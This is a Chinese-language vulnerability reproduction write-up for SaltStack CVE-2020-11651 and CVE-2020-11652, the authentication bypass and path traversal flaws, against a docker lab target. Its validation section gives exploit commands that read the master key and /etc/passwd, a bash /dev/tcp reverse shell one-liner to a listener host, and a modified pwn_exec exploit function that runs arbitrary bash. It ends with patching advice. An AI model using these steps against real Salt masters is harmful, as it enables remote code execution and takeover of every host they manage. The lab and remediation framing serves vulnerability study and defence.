saltstack RCE
一、漏洞介紹
SaltStack是基於Python開發的一套C/S架構配置管理工具,是一個服務器基礎架構集中化管理平臺,具備配置管理、遠程執行、監控等功能,基於Python語言實現,結合輕量級消息隊列(ZeroMQ)與Python第三方模塊(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)構建。
國外某安全團隊披露了SaltStack存在認證繞過漏洞(CVE-2020-11651) 和目錄遍歷漏洞(CVE-2020-11652)。
二、漏洞危害
在CVE-2020-11651認證繞過漏洞中,攻擊者通過構造惡意請求,可以繞過Salt Master的驗證邏輯,調用相關未授權函數功能,從而可以造成遠程命令執行漏洞。在CVE-2020-11652目錄遍歷漏洞中,攻擊者通過構造惡意請求,讀取服務器上任意文件。通過對這兩個漏洞的利用可以實現RCE的效果,在控制salt-master之後,通過salt大面積控制在運維繫統下的主機。
影響版本:
SaltStack < 2019.2.4
SaltStack < 3000.2
安全版本:
2019.2.4
3000.2
三、漏洞驗證
靶機(172.22.8.14):
docker pull vulfocus/saltstack-cve_2020_11651
# 拖取鏡像
docker run -d -p 4506:4506 -p 4505:4505 vulfocus/saltstack-cve_2020_11651
# 啓動容器
攻擊機:
pip3 install salt==3000.1
#安裝salt模塊
python3 exploit.py -m 172.22.8.14
#讀取key
python3 exploit.py -m 172.22.8.14 -r /etc/passwd
#讀文件
反彈shell
本地(172.22.1.102)監聽4444端口:
nc -lvp 4444
攻擊機執行
python3 exploit.py -m 172.22.8.14 --exec "bash -i >& /dev/tcp/172.22.1.102/4444 0>&1"
這裏有幾個坑要說一下,首先是docker 容器內訪問宿主機“No route to host”的問題,依次執行以下命令可以解決:
nmcli connection modify docker0 connection.zone trusted
systemctl stop NetworkManager.service
firewall-cmd --permanent --zone=trusted --change-interface=docker0
systemctl start NetworkManager.service
nmcli connection modify docker0 connection.zone trusted
systemctl restart docker.service
然後是GitHub上exp執行命令調用的是python,docker裏沒有python環境,需要修改代碼如下(不同的exp可能不一樣,大同小異):
def pwn_exec(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'runner',
'fun': 'salt.cmd',
'saltenv': 'base',
'user': 'sudo_user',
'kwarg': {
'fun': 'cmd.exec_code',
#'lang': 'python',
'lang': 'bash',
#'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
'code': "{}".format(cmd)
},
'jid': jid,
}
四、漏洞修復
- 升級至安全版本及其以上,升級前建議做好快照備份措施。
安全版本下載地址參考:https://repo.saltstack.com - 設置SaltStack爲自動更新,及時獲取相應補丁。
- 將Salt Master默認監聽端口(默認4505 和 4506)設置爲禁止對公網開放,或僅對可信對象開放。
參考鏈接:
https://www.freebuf.com/articles/system/178150.html
https://github.com/dozernz/cve-2020-11651
https://github.com/bravery9/SaltStack-Exp
https://github.com/jasperla/CVE-2020-11651-poc